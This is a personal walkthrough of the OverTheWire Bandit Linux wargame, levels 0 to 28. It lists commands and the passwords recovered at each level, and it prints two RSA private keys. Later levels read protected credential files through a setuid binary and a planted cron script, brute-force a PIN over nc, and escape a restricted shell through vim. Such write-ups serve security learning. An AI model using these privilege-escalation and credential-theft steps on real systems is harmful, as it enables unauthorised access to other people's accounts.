Over The Wire - Bandit

Level 0 :

ssh bandit0@bandit.labs.overthewire.org -p 2220
bandit0@bandit:~$ cat readme
boJ9jbbUNNfktd78OOpsqOltutMc3MY1

Level 1:
ssh bandit1@localhost
bandit1@bandit:~$ cat ./-
CV1DtqXWVFXTvM2F0k09SHz0YwRINYA9
Level 2:
bandit2@bandit:~$ cat "spaces in this filename"
UmHadQclWmgdLOKQ3YNgjWxGoRMb5luK
Level 3:
bandit3@bandit:~$ cd inhere/
bandit3@bandit:~/inhere$ cat .hidden
pIwrPrtPN36QITSp3EQaw936yaFoFgAB
Level 4:
bandit3@bandit:~$ cd inhere/
bandit4@bandit:~/inhere$ file ./*
./-file00: data
./-file01: data
./-file02: data
./-file03: data
./-file04: data
./-file05: data
./-file06: data
./-file07: ASCII text. <—— this one
./-file08: data
./-file09: data

bandit4@bandit:~/inhere$ cat ./-file07
koReBOKuIDDepwhWk7jZC0RTdopnAYKh
Level 5:
bandit5@bandit:~$ cd inhere/
bandit5@bandit:~/inhere$ find . -size 1033c
./maybehere07/.file2

bandit5@bandit:~/inhere$ cat ./maybehere07/.file2
DXjZPULLxYr17uwoI01bNLQbtFemEgo7
Level 6:
bandit6@bandit:~$ find / -size 33c -user bandit7 -group bandit6 2>/dev/null
/var/lib/dpkg/info/bandit7.password

bandit6@bandit:~$ cat /var/lib/dpkg/info/bandit7.password
HKBPTKQnIay4Fw76bEy8PVxKEDQRKTzs
Level 7:
bandit7@bandit:~$ cat data.txt |grep millionth
millionth cvX2JJa4CFALtqS87jk27qwqGhBM9plV

Level 8:
bandit8@bandit:~$ cat data.txt |sort |uniq -c |sort -nk1 |head
    1 UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR
Level 9:
bandit9@bandit:~$ strings data.txt
========== truKLdjsbJ5g7yyJ2X2R0o3a5HQJFuLk
Level 10:
bandit10@bandit:~$ base64 -d ./data.txt
The password is IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR
Level 11:
bandit11@bandit:~$ cat data.txt | tr 'A-Za-z' 'N-ZA-Mn-za-m'
The password is 5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu
Level 12:
mkdir /tmp/ppaa/
cp ./data.txt /tmp/ppaa/
cd /tmp/ppaa
xxd -r ./data.txt > ./d.txt
file d.txt

mv d.txt d.gz
gunzip d.gz

file d
bzip2 -d ./d

file d.out
mv d.out d.gz
gunzip d.gz

file d
mv d d.tar
tar -xvf d.tar

file data5.bin
tar -xvf data5.bin

file data6.bin
bzip2 -d ./data6.bin

file data6.bin.out
tar -xvf data6.bin.out

file data8.bin
mv data8.bin data8.gz
gunzip data8
bandit12@bandit:/tmp/ppaa$ cat data8
The password is 8ZjyCRiBWFYkneahHwxCv3wb2a1ORpYL
Level 13:
I have private key:
bandit13@bandit:~$ cat sshkey.private
-----BEGIN RSA PRIVATE KEY-----

MIIEpAIBAAKCAQEAxkkOE83W2cOT7IWhFc9aPaaQmQDdgzuXCv+ppZHa++buSkN+
gg0tcr7Fw8NLGa5+Uzec2rEg0WmeevB13AIoYp0MZyETq46t+jk9puNwZwIt9XgB
ZufGtZEwWbFWw/vVLNwOXBe4UWStGRWzgPpEeSv5Tb1VjLZIBdGphTIK22Amz6Zb
ThMsiMnyJafEwJ/T8PQO3myS91vUHEuoOMAzoUID4kN0MEZ3+XahyK0HJVq68KsV
ObefXG1vvA3GAJ29kxJaqvRfgYnqZryWN7w3CHjNU4c/2Jkp+n8L0SnxaNA+WYA7
jiPyTF0is8uzMlYQ4l1Lzh/8/MpvhCQF8r22dwIDAQABAoIBAQC6dWBjhyEOzjeA
J3j/RWmap9M5zfJ/wb2bfidNpwbB8rsJ4sZIDZQ7Xulh4LfygoAQSS+bBw3RXvzE
pvJt3SmU8hIDuLsCjL1VnBY5pY7Bju8g8aR/3FyjyNAqx/TLfzlLYfOu7i9Jet67
xAh0tONG/u8FB5I3LAI2Vp6OviwvdWeC4nOxCthldpuPKNLA8rmMMVRTKQ+7T2VS
nXmwYckKUcUgzoVSpiNZaS0zUDypdpy2+tRH3MQa5kqN1YKjvF8RC47woOYCktsD
o3FFpGNFec9Taa3Msy+DfQQhHKZFKIL3bJDONtmrVvtYK40/yeU4aZ/HA2DQzwhe
ol1AfiEhAoGBAOnVjosBkm7sblK+n4IEwPxs8sOmhPnTDUy5WGrpSCrXOmsVIBUf
laL3ZGLx3xCIwtCnEucB9DvN2HZkupc/h6hTKUYLqXuyLD8njTrbRhLgbC9QrKrS
M1F2fSTxVqPtZDlDMwjNR04xHA/fKh8bXXyTMqOHNJTHHNhbh3McdURjAoGBANkU
1hqfnw7+aXncJ9bjysr1ZWbqOE5Nd8AFgfwaKuGTTVX2NsUQnCMWdOp+wFak40JH
PKWkJNdBG+ex0H9JNQsTK3X5PBMAS8AfX0GrKeuwKWA6erytVTqjOfLYcdp5+z9s
8DtVCxDuVsM+i4X8UqIGOlvGbtKEVokHPFXP1q/dAoGAcHg5YX7WEehCgCYTzpO+
xysX8ScM2qS6xuZ3MqUWAxUWkh7NGZvhe0sGy9iOdANzwKw7mUUFViaCMR/t54W1
GC83sOs3D7n5Mj8x3NdO8xFit7dT9a245TvaoYQ7KgmqpSg/ScKCw4c3eiLava+J
3btnJeSIU+8ZXq9XjPRpKwUCgYA7z6LiOQKxNeXH3qHXcnHok855maUj5fJNpPbY
iDkyZ8ySF8GlcFsky8Yw6fWCqfG3zDrohJ5l9JmEsBh7SadkwsZhvecQcS9t4vby
9/8X4jS0P8ibfcKS4nBP+dT81kkkg5Z5MohXBORA7VWx+ACohcDEkprsQ+w32xeD
qT1EvQKBgQDKm8ws2ByvSUVs9GjTilCajFqLJ0eVYzRPaY6f++Gv/UVfAPV4c+S0
kAWpXbv5tbkkzbS0eaLPTKgLzavXtQoTtKwrjpolHKIHUz6Wu+n4abfAIRFubOdN
/+aLoRQ0yBDRbdXMsZN/jvY44eM+xRLdRVyMmdPtP8belRi2E2aEzA==
-----END RSA PRIVATE KEY-----
which I can use for logging as an user it belongs to:

bandit13@bandit:~$ **ssh -i ./sshkey.private bandit14@localhost**
Level 14:
bandit14@bandit:~/.ssh$ cat /etc/bandit_pass/bandit14
4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e
bandit14@bandit:~/.ssh$ echo "4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e" |nc localhost 30000
Correct!
BfMYroe26WYalil77FoDi9qh59eK5xNr

Level 15:
openssl s_client -connect localhost:30001
enter: BfMYroe26WYalil77FoDi9qh59eK5xNr

Correct!
cluFn7wTiGryunymYOu4RcffSxQluehd

closed

Level 16:
nmap -sV -sT -p 31000-32000 localhost

Starting Nmap 7.40 (https://nmap.org) at 2019-04-15 20:30 CEST
Nmap scan report for localhost (127.0.0.1)

Host is up (0.00023s latency).
Not shown: 1000 closed ports
PORT STATE SERVICE VERSION
31790/tcp open ssl/unknown

openssl s_client -connect localhost:31790
enter: cluFn7wTiGryunymYOu4RcffSxQluehd

you will get private key - copy it to the buffer. Then create a new directory /tmp/ppaaa/ and in there create a new file rsa. Paste the content of the private key there

-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ
imZzeyGC0gtZPGujUSxiJSWI/oTqexh+cAMTSMlOJf7+BrJObArnxd9Y7YT2bRPQ
Ja6Lzb558YW3FZl87ORiO+rW4LCDCNd2lUvLE/GL2GWyuKN0K5iCd5TbtJzEkQTu
DSt2mcNn4rhAL+JFr56o4T6z8WWAW18BR6yGrMq7Q/kALHYW3OekePQAzL0VUYbW
JGTi65CxbCnzc/w4+mqQyvmzpWtMAzJTzAzQxNbkR2MBGySxDLrjg0LWN6sK7wNX
x0YVztz/zbIkPjfkU1jHS+9EbVNj+D1XFOJuaQIDAQABAoIBABagpxpM1aoLWfvD
KHcj10nqcoBc4oE11aFYQwik7xfW+24pRNuDE6SFthOar69jp5RlLwD1NhPx3iBl
J9nOM8OJ0VToum43UOS8YxF8WwhXriYGnc1sskbwpXOUDc9uX4+UESzH22P29ovd
d8WErY0gPxun8pbJLmxkAtWNhpMvfe0050vk9TL5wqbu9AlbssgTcCXkMQnPw9nC
YNN6DDP2lbcBrvgT9YCNL6C+ZKufD52yOQ9qOkwFTEQpjtF4uNtJom+asvlpmS8A
vLY9r60wYSvmZhNqBUrj7lyCtXMIu1kkd4w7F77k+DjHoAXyxcUp1DGL51sOmama
+TOWWgECgYEA8JtPxP0GRJ+IQkX262jM3dEIkza8ky5moIwUqYdsx0NxHgRRhORT
8c8hAuRBb2G82so8vUHk/fur85OEfc9TncnCY2crpoqsghifKLxrLgtT+qDpfZnx
SatLdt8GfQ85yA7hnWWJ2MxF3NaeSDm75Lsm+tBbAiyc9P2jGRNtMSkCgYEAypHd
HCctNi/FwjulhttFx/rHYKhLidZDFYeiE/v45bN4yFm8x7R/b0iE7KaszX+Exdvt
SghaTdcG0Knyw1bpJVyusavPzpaJMjdJ6tcFhVAbAjm7enCIvGCSx+X3l5SiWg0A
R57hJglezIiVjv3aGwHwvlZvtszK6zV6oXFAu0ECgYAbjo46T4hyP5tJi93V5HDi
Ttiek7xRVxUl+iU7rWkGAXFpMLFteQEsRr7PJ/lemmEY5eTDAFMLy9FL2m9oQWCg
R8VdwSk8r9FGLS+9aKcV5PI/WEKlwgXinB3OhYimtiG2Cg5JCqIZFHxD6MjEGOiu
L8ktHMPvodBwNsSBULpG0QKBgBAplTfC1HOnWiMGOU3KPwYWt0O6CdTkmJOmL8Ni
blh9elyZ9FsGxsgtRBXRsqXuz7wtsQAgLHxbdLq/ZJQ7YfzOKU4ZxEnabvXnvWkU
YOdjHdSOoKvDQNWu6ucyLRAWFuISeXw9a/9p7ftpxm0TSgyvmfLF2MIAEwyzRqaM
77pBAoGAMmjmIJdjp+Ez8duyn3ieo36yrttF5NSsJLAbxFpdlc1gvtGCWW+9Cq0b
dxviW8+TFVEBl1O4f7HVm6EpTscdDxU+bCXWkfjuRb7Dy9GOtt9JPsX8MBTakzh3
vBgsyi/sN3RqRBcGU40fOoZyfAMT8s1m/uYv52O6IgeuZ/ujbjY=
-----END RSA PRIVATE KEY——

and then run ssh -i /tmp/ppaaa/rsa bandit17@localhost

Level 17:

```
bandit17@bandit:~$ diff -w passwords.old passwords.new
42c42
< hlbSBPAWJmL6WFDb06gpTx1pPButblOA
---
> kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd
```

Level 18:
ssh -T bandit18@localhost
in the “pseudo terminal” type:
cat readme

IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x
Level 19:

```
bandit19@bandit:~$ ls -alrth
total 28K
-rw-r--r--  1 root     root      675 May 15  2017 .profile
-rw-r--r--  1 root     root     3.5K May 15  2017 .bashrc
-rw-r--r--  1 root     root      220 May 15  2017 .bash_logout
-rwsr-x---  1 bandit20 bandit19 7.2K Oct 16 14:00 bandit20-do
drwxr-xr-x  2 root     root     4.0K Oct 16 14:00 .
drwxr-xr-x 41 root     root     4.0K Oct 16 14:00 ..
bandit19@bandit:~$
```

The owner of the **bandit20-do** file is user bandit20. **The red highlight** tells us, that the file has elevated permissions and any commands executed via the file will be run as bandit20 user.

I used this to get the password to next level.

```
bandit19@bandit:~$
bandit19@bandit:~$ ./bandit20-do cat /etc/bandit_pass/bandit20
GbKksEFF4yrVs6il55v6gwY5aVje5f0j
bandit19@bandit:~$
bandit19@bandit:~$
bandit19@bandit:~$
```

bandit19@bandit:~$ ./bandit20-do cat /etc/bandit_pass/bandit20
GbKksEFF4yrVs6il55v6gwY5aVje5f0j

Level 20:

Open 2 SSH connections.

In one run: echo "GbKksEFF4yrVs6il55v6gwY5aVje5f0j" | nc -lnvp 2222
in the second run: bandit20@bandit:~$ ./suconnect 2222
Read: GbKksEFF4yrVs6il55v6gwY5aVje5f0j
Password matches, sending next password

Go back to the first one , you will see:
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 41988
gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr

Level 21:

bandit21@bandit:~$ cd /etc/cron.d

bandit21@bandit:/etc/cron.d$ ls -arlth
total 24K
-rw-r--r-- 1 root root 102 Oct 7 2017 .placeholder
-rw-r--r-- 1 root root 120 Oct 16 2018 cronjob_bandit22
-rw-r--r-- 1 root root 122 Oct 16 2018 cronjob_bandit23
-rw-r--r-- 1 root root 120 Oct 16 2018 cronjob_bandit24

bandit21@bandit:/etc/cron.d$ less cronjob_bandit22

bandit21@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit22.sh
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv

bandit21@bandit:/etc/cron.d$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI

Level 22:

bandit22@bandit:/usr/bin$ cat cronjob_bandit23.sh
#!/bin/bash

myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)

echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"

cat /etc/bandit_pass/$myname > /tmp/$mytarget

If I run this script, variable “myname” will take my own user (bandit22), I need to run this for user bandit23. So let’s redefine mytarget variable:

mytarget=$(echo I am user **bandit23** | md5sum | cut -d ' ' -f 1)
bandit22@bandit:/usr/bin$ echo $mytarget
8ca319486bfbbc3663ea0fbe81326349
bandit22@bandit:/usr/bin$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349
jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n

Level 23:

mkdir /tmp/pavelk
chmod 777 /tmp/pavelk

create a new script under/ tmp/pavelk :

#!/bin/bash
cat /etc/bandit_pass/bandit24 > tmp/pavelk/pass.txt

and change the permisson to 777:
chmod 777 /tmp/pavelk/cron.sh

copy the script to **/var/spool/bandit24** directory and monitor **/tmp/pavelk/** directory for a new file **pass.txt** with bandit24’s password.

bandit23@bandit:/tmp/pavelk$ cat pass24.txt
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ

Level 24:

bandit24@bandit:/tmp/pavelk$ cat bandit25.sh
#!/bin/bash

pass=`cat /etc/bandit_pass/bandit24`

for i in {0000..10000} ; do echo $pass $i ;sleep 0.025 ; done |nc localhost 30002 > /tmp/pavelk/b25.log

The password of user bandit25 is **uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG**

Level 25

We need to find what shell is bandit26 using…

bandit25@bandit:/tmp/pavelk$ cat /etc/passwd |grep bandit26
bandit26:x:11026:11026:bandit level 26:/home/bandit26:**/usr/bin/showtext**

Let's see what is in /usr/bin/showtext:

bandit25@bandit:/tmp/pavelk$ cat /usr/bin/showtext
#!/bin/sh

export TERM=linux

more ~/text.txt
exit 0

Small script which is using more command and then exit from the script…

In order to break the "exit 0" part, let's make the screen as small as possible, so the "more" command stays open. (make just big enough window so you can see at least 2 lines)… Then login with

ssh -i /home/bandit25/bandit26.sshkey bandit26@localhost

press v <— that will bring you to vim editor…

from which you can get your shell:

:set shell sh=/bin/bash
:sh

You will get your bash… There is no direct login to bandit26

Bandit 27:

```
bandit26@bandit:~$ ./bandit27-do cat /etc/bandit_pass/bandit27
3ba3118a22e93127a4ed485be72ef5ea
```

Bandit 28:

```
git clone ssh://bandit27-git@localhost/home/bandit27-git/repo /tmp/pavelk/gitclone
bandit27@bandit:~$ cd /tmp/pavelk/gitclone
bandit27@bandit:/tmp/pavelk/gitclone$ ls -alrth
total 16K
drwxrwxrwx 3 bandit23 root     4.0K Apr 23 15:28 ..
-rw-r--r-- 1 bandit27 bandit27   68 Apr 23 15:29 README
drwxr-xr-x 8 bandit27 bandit27 4.0K Apr 23 15:29 .git
drwxr-xr-x 3 bandit27 bandit27 4.0K Apr 23 15:29 .

bandit27@bandit:/tmp/pavelk/gitclone$ cat README
The password to the next level is: 0ef186ac70e04ea33b4c1853d2526fa2
```

That is the end, the rest of the “levels” are just getting stuff from GIT (I guess next levels will be added later…).